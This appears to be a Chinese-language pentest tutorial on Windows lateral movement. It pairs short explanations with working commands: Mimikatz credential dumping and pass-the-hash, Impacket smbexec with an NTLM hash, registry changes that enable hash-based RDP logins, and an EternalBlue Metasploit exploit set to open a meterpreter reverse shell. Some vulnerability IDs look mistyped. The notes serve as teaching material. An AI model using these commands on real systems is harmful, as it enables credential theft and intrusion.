1.哈希传递

PTH攻击的工具:

1.Mimikatz
2.Impacket
3.CrackMapExec
4.Powershell
5.Evil-Winrm
6.Metesploite

1.1 哈希传递攻击的利用
pth原理:
攻击者直接通过LM Hash 和 NTLM Hash访问远程主机或服务,而不用提供明文密码。

如果禁用了ntlm认证,psexec无法利用获得的ntml,hash经行远程连接,但是minikatz还是可以攻击成功。对于8.1/2012r2 ,安装了kb2871997的win7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击。

KB2871997补丁影响:
pth:没打补丁所有用户都可以连接,打了补丁只有administrator可连接。
ptk:打了补丁可使用,所有用户都可连接,通过aes256连接。
具体:https://www.freebuf.com/column/220740.html

1.利用mimikatz进行PTH

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit #抓取用户哈希
 
#横向返回一个与域中所有符合要求的目标进行连接后的cmd
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:god.org /ntlm:b93c17875ad053ce97c3063a6a02c15e"

2.利用Impacket 进行PTH
可使用pyinstaller打包成exe文件(此外还可以使用psexec.py, wmiexec.py进行PTH横向)

python smbexec.py -hashes ::b93c17875ad053ce97c3063a6a02c15e god.org/administrator@192.168.52.141

1.2 利用PTH登录远程桌面
条件:

远程主机开启受限管理员模式
用于远程桌面的用户位于远程主机的管理员组中(受限管理员模式只对管理员组用户有效,如果获取哈希的用户属于远程桌面用户组就无法进行哈希传递攻击)
拿到远程主机上能够登录的用户的哈希
WinServer2012 R2开始采用新版RDP, 支持受限管理员模式, 在该模式下才可以使用哈希进行哈希传递登录而不需要输入密码(在Win8.1和WinServer2012 R2上默认开启)

没有开启受限管理员的主机可以通过下面命令开启:

reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

步骤:
1.查看主机受限模式开启状态:

reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin    #输出为0则已启动,为1则未启动

2.远程主机开启受限管理员模式的话就可以通过Mimikatz进行攻击:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:h0cksr.bxs /ntlm: \"/run:mstsc.exe /restrictedadmin\""
 
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:god.org /ntlm:b93c17875ad053ce97c3063a6a02c15e \"/run:mstsc.exe /restrictedadmin\""

2 EhernalBlue(永恒之蓝)

永恒之蓝的原理不再多说了, 主要就是Windows SMB v1服务器错误处理来自远程的特制数据包从而产生漏洞, 测试的时候如果发现有445端口开启可以流程化走一下看看有没有漏洞

此外类似原理的还有SM08-067, CVE-2019-0807等均可用于横向

msfconsole
use auxiliary/scanner/smb/smb_ms17_010  #这个只是检测模块,用于检查是否存在漏洞
set rhosts 192.168.30.1/24
set threads 10
run
 
use exploit/windows/smb/ms17_010_eternalblue
set payload payload/windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.92.198
set lhost 192.168.92.128
set lport 444